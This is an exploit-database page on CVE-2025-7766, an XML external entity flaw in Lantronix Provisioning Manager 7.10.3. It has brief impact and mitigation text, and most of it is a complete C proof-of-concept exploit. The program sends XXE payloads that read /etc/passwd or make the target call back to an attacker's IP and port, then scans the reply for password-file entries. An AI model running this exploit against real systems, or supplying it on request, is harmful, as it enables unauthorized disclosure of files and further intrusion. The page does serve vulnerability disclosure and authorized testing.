Skip to main content

Lantronix Provisioning Manager 7.10.3 – XML External Entity Injection (XXE)

Categories: WebApps

Overview

The Lantronix Provisioning Manager 7.10.3 has been identified with a critical vulnerability known as XML External Entity Injection (XXE), cataloged under CVE-2025-7766. This vulnerability allows attackers to manipulate XML input to access sensitive data and potentially execute arbitrary code, posing significant risks to the security of the system and its data integrity.

Technical Details

The XXE vulnerability arises from improper handling of XML input in the Lantronix Provisioning Manager. Specifically, the application fails to adequately validate and sanitize XML data, allowing an attacker to craft malicious XML payloads that include external entity references. When the application processes this XML, it may inadvertently retrieve data from local files or external servers, leading to unauthorized data access.

For example, an attacker could exploit this vulnerability by sending a crafted XML request that references a sensitive file on the server, such as /etc/passwd. This would allow the attacker to read the contents of the file, revealing critical system information.

Impact

The potential consequences of CVE-2025-7766 are severe. Successful exploitation could lead to data breaches, where sensitive information such as user credentials and configuration data is exposed. Furthermore, attackers may use this vulnerability as a stepping stone for further attacks, including executing arbitrary code or launching denial-of-service attacks on affected systems.

Mitigation

To protect against CVE-2025-7766, organizations should immediately update their systems to the latest version of the Lantronix Provisioning Manager, where this vulnerability has been patched. Additionally, security professionals should implement strict input validation and sanitization measures for all XML data processed by their applications. This includes disabling external entity processing in XML parsers and employing security-focused coding practices.

Furthermore, conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively. Monitoring logs for unusual access patterns can also help detect potential exploitation attempts early, enabling timely response and mitigation.

Proof of Concept (PoC)

poc.sh
/*
 * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
 * Google Dork: N/A
 * Date: 2025-08-17
 * Exploit Author: Byte Reaper
 * Vendor Homepage: https://www.lantronix.com/
 * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/
 * Version: Provisioning Manager ≤ 7.10.3
 * Tested on: Kali Linux
 * CVE: CVE-2025-7766
 */


#include<stdio.h>
#include<string.h>
#include"argparse.h"
#include<curl/curl.h>
#include<stdlib.h>
#include<unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#define FULL_URL 3000
#define SIZE_PAYLOAD 4000
const char *yourIp = NULL;
const char *url = NULL ;
int yourPort = 0;
int selecetCookie = 0;
int verbose = 0;
int loop = 0;
int selectPayload = 0;
const char *yourPayload = NULL;
char full[FULL_URL];
int requestPayload = 0;
const char *cookies = NULL;

void exitSyscall()
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $0x3C, %%rax\n\t"
        "syscall\n\t"
        :
        :
        :"rax", "rdi"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitSyscall();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

void xmlPost(const char *fullUrl, const char *yourIp, int yourPort)
{
    char payload[SIZE_PAYLOAD];
    struct Mem response =
    {
        NULL,
        0
    };
    if (selectPayload)
    {
        int s = snprintf(payload,sizeof(payload),yourPayload);
        if (s < 0 || s >= sizeof(payload))
        {
            printf("\e[1;31m[-] Check len payload (yourPayload >= Size Payload) !\e[0m\n");
            exitSyscall();
        }
    }
    if (requestPayload)
    {
        printf("\e[1;37m[+] Payload Select : Send Request Payload\e[0m\n");
        printf("\e[1;34m[+] Please Check Server (python server, apache...)\e[0m\n");

        const char *payloadR =
            "<?xml version=\"1.0\"?>\n"
            "<!DOCTYPE doc [\n"
            "  <!ENTITY xxe SYSTEM \"http://%s:%d/xxe.test\">\n"
            "]>\n"
            "<config>\n"
            "  <doc>&xxe;</doc>\n"
            "</config>\n"
        ;
        int r = snprintf(payload, sizeof(payload), payloadR, yourIp, yourPort);
        if (r < 0 || r >= sizeof(payload))
        {
            printf("\e[1;31m[-] Error building payloadR\n");
            exitSyscall();
        }
    }
    else
    {
        printf("\e[1;37m[+] Payload Select : Read File : /etc/passwd !\e[0m\n");
        const char *autoPayload =
            "<?xml version=\"1.0\"?>\n"
            "<!DOCTYPE doc [\n"
            "  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n"
            "]>\n"
            "<config>\n"
            "  <doc>&xxe;</doc>\n"
            "</config>\n"
        ;
        snprintf(payload,
                 sizeof(payload),
                 autoPayload);
    }


    CURL *curl = curl_easy_init();
    if (curl == NULL)
    {
        printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
        exitSyscall();
    }
    response.buffer  = NULL;
    response.len = 0;

    if (verbose)
    {
        printf("\e[1;35m==========================================\e[0m\n");
        printf("[+] Cleaning Response...\n");
        printf("[+] Response Buffer : %s\n", response.buffer);
        printf("[+] Response Len : %zu\n", response.len);
        printf("\e[1;35m==========================================\e[0m\n");
    }
    CURLcode res;
    if (curl)
    {
        curl_easy_setopt(curl,
                         CURLOPT_URL,
                         fullUrl);
        curl_easy_setopt(curl,
                         CURLOPT_POSTFIELDS,
                         payload);
        curl_easy_setopt(curl,
                         CURLOPT_POSTFIELDSIZE,
                         strlen(payload));

        if (selecetCookie)
        {
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEFILE,
                             cookies);
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEJAR,
                             cookies);

        }
        curl_easy_setopt(curl,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
        sleep(1);
        curl_easy_setopt(curl,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
        if (verbose)
        {
            printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
            curl_easy_setopt(curl,
                             CURLOPT_VERBOSE,
                             1L);
        }
        curl_easy_setopt(curl,
                         CURLOPT_WRITEDATA,
                         &response);
        curl_easy_setopt(curl,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);
        curl_easy_setopt(curl,
                         CURLOPT_TIMEOUT,
                         10L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYPEER,
                         0L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYHOST,
                         0L);
        struct curl_slist *headers = NULL;
        headers = curl_slist_append(headers,
                                    "Accept-Language: en-US,en");
        headers = curl_slist_append(headers,
                              "Connection: keep-alive");
        headers = curl_slist_append(headers,
                                    "Referer: http://example.com");
        headers =curl_slist_append(headers,
                                   "Content-Type: application/xml");
         double totalTime;
        res = curl_easy_perform(curl);
        if (res == CURLE_OK)
        {
             curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &totalTime);
             printf("\e[1;32m[+] Delayed response : %f\n",  totalTime );
             printf("\e[1;36m[+] Request sent successfully\e[0m\n");
             printf("\e[1;34m[+] Full URl : %s\e[0m\n", full);
             if (verbose)
             {
                 printf("\e[1;35m---------------------------[Payload Data]---------------------------\e[0m\n");
                 printf("[+] Post data : %s\n", payload);
                 printf("\e[1;35m-----------------------------------------------------------------\e[0m\n");
             }
             long httpCode= 0 ;
             curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
             if (httpCode >= 200 && httpCode < 300)
             {
                 printf("\e[1;34m[+] Possible server vulnerability (CVE-2025-7766)!\e[0m\n");                     printf("\e[1;34m[+] Please Check Reverse Shell Connection (port -> %d)\e[0m\n", yourPort);
                 printf("[+] Http Code (200 < 300) !\e[0m\n");
                 printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode);
                 printf("\e[1;35m====================================[Response]====================================\e[0m\n");
                 printf("%s\n", response.buffer);
                 printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
                 printf("\e[1;35m===================================================================================\e[0m\n\n");
                 const char *keywords[] =
                 {
                     "root:x:0:0",
                     ":/bin/bash",
                     ":/home/",
                     "daemon:x:",
                     "nobody:x:",
                     ":x:1000:",
                     "/usr/sbin/nologin",
                     "sys:x:",
                     "bin:x:",
                     "mail:x:"
                 };
                 printf("\e[1;34m[+] Check keyword On Response...\e[0m\n");
                 int numberKeyword = sizeof(keywords) / sizeof(keywords[0]);
                 int found = 0;
                 for (int f = 0; f < numberKeyword; f++)
                 {
                     if (strstr(response.buffer,keywords[f]) != NULL)
                     {
                         printf("\e[1;33m[+] Keyword Found In response : %s\e[0m\n", keywords[f]);
                         found = 1;
                     }
                     else
                     {
                         found = 0;
                     }
                 }
                 if (found)
                 {
                     printf("\e[1;36m[+] The server suffers from a vulnerability CVE-2025-7766.\e[0m\n");
                 }
                 else
                 {
                     printf("\e[1;31m[-] Not Found Keyword In Response !\e[0m\n");
                 }
             }
             else
             {
                 printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode);
                 printf("\e[1;31m[-] Please Check Url (%s)!\e[0m\n", fullUrl);
                 if (verbose)
                 {
                     printf("\e[1;35m====================================[Response]====================================\n");
                     printf("%s\n", response.buffer);
                     printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
                     printf("\e[1;35m===================================================================================\n\n");
                 }
            }
            curl_slist_free_all(headers);
            curl_easy_cleanup(curl);
        }
        else
        {
            printf("\e[1;31m[-] The request was not sent !\e[0m\n");
            printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
            if (verbose)
            {
                printf("\e[1;31m[-] Exit Syscall ...\e[0m\n");
            }
            curl_slist_free_all(headers);
            curl_easy_cleanup(curl);
            exitSyscall();
        }
    }
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
    curl_easy_cleanup(curl);
}

int main(int argc,
         const char **argv)
{
    printf
    (
        "\e[1;91m"
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▄▖▄▖▄▖\n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▖▙▖\n"
        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌   ▌ ▌▙▌▙▌\n"
        "\e[1;97m\t      Byte Reaper\e[0m\n"
    );
    printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n");
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('u',
                   "url",
                   &url,
                   "Target Url (full url)"),
        OPT_STRING('c',
                   "cookies",
                   &cookies,
                   "cookies File"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
        OPT_STRING('i',
                    "ip",
                    &yourIp,
                    "Enter Your IP (Send Requst, Localhost ip...)"),
        OPT_INTEGER('p',
                    "port",
                    &yourPort,
                    "Enter Number Port (Http Request,Check Vuln...)"),
        OPT_INTEGER('l',
                    "loop",
                    &loop,
                    "Number of times you send requests"),
        OPT_STRING('b',
                   "payload",
                   &yourPayload,
                   "Enter Your Payload"),
        OPT_BOOLEAN('r',
                    "request",
                    &requestPayload,
                    "Payload Send Request in Your Server "),



         OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (!url ||
        !yourIp ||
        yourPort == 0)
    {
        printf("\e[1;31m[-] Please Enter Target Url ,Your ip, port!\e[0m\n");
        printf("\e[1;31m[-] Ex : ./exploit  -u https://ip:port/path -i IP -p PORT\e[0m\n");
        printf("\e[1;31m[-] Exit syscall...\e[0m\n");
        exitSyscall();
    }
    strncpy(full, url, FULL_URL - 1);
    full[FULL_URL - 1] = '\0';
    in_addr_t value = inet_addr(yourIp);
    if (value == INADDR_NONE)
    {
        printf("\e[1;31m[-] Invalid Ip String !\e[0m\n");
        exitSyscall();
    }
    if (yourPort < 1 || yourPort > 65535)
    {
        printf("\e[1;31m[-] Invalid Port, Exit...\e[0m\n");
        exitSyscall();
    }
    if (strncmp(full, "http://", 7) != 0 &&
        strncmp(full, "https://", 8) != 0)
    {
        printf("\e[1;31m[-] Invalid URL! Must start with http:// or https://\e[0m\n");
        exitSyscall();
    }

    if (verbose)
    {

        verbose = 1;
    }
    if (cookies)
    {
        selecetCookie = 1;
    }

    if (requestPayload)
    {
        requestPayload = 1;
    }
    if (loop)
    {
        printf("\e[1;36m[+] Argument --loop Run ...\e[0m\n");
        printf("\e[1;36m[+] Number Loop : %d\e[0m\n", loop);
        printf("------------------------------------------------------\n");
        for (int o = 0; o < loop ; o++)
        {
            printf("[%d]: \n", o);
            xmlPost(full, yourIp,yourPort);
            printf("------------------------------------------------------\n");
        }
    }
    if (yourPayload)
    {
        selectPayload = 1;
    }
    else
    {
        xmlPost(full, yourIp,yourPort);
    }
    return 0;
}
            

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...